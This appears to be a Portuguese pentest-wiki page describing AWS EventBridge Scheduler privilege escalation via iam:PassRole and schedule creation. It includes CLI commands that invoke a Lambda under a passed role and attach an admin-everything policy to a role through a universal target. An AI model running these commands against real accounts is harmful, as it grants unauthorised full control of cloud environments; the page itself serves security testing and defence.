AWS - EventBridge Scheduler Privesc

Reading time: 3 minutes

EventBridge Scheduler

Mais informações sobre EventBridge Scheduler em:

AWS - EventBridge Scheduler Enum

iam:PassRole, (scheduler:CreateSchedule | scheduler:UpdateSchedule)

Um atacante com essas permissões poderá create|update um scheduler e abusar das permissões da scheduler role anexada a ele para executar qualquer ação

Por exemplo, eles poderiam configurar o schedule para invoke a Lambda function, que é uma ação baseada em template:

aws scheduler create-schedule \
--name MyLambdaSchedule \
--schedule-expression "rate(5 minutes)" \
--flexible-time-window "Mode=OFF" \
--target '{
"Arn": "arn:aws:lambda:<region>:<account-id>:function:<LambdaFunctionName>",
"RoleArn": "arn:aws:iam::<account-id>:role/<RoleName>"
}'

Além das ações de serviço predefinidas, você pode usar universal targets no EventBridge Scheduler para invocar uma ampla gama de operações de API para muitos serviços da AWS. Universal targets oferecem flexibilidade para invocar quase qualquer API. Um exemplo pode ser usar universal targets para adicionar a "AdminAccessPolicy", usando uma role que tenha a política "putRolePolicy":

aws scheduler create-schedule \
--name GrantAdminToTargetRoleSchedule \
--schedule-expression "rate(5 minutes)" \
--flexible-time-window "Mode=OFF" \
--target '{
"Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy",
"RoleArn": "arn:aws:iam::<account-id>:role/RoleWithPutPolicy",
"Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}"
}'

Referências

• https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html
• https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html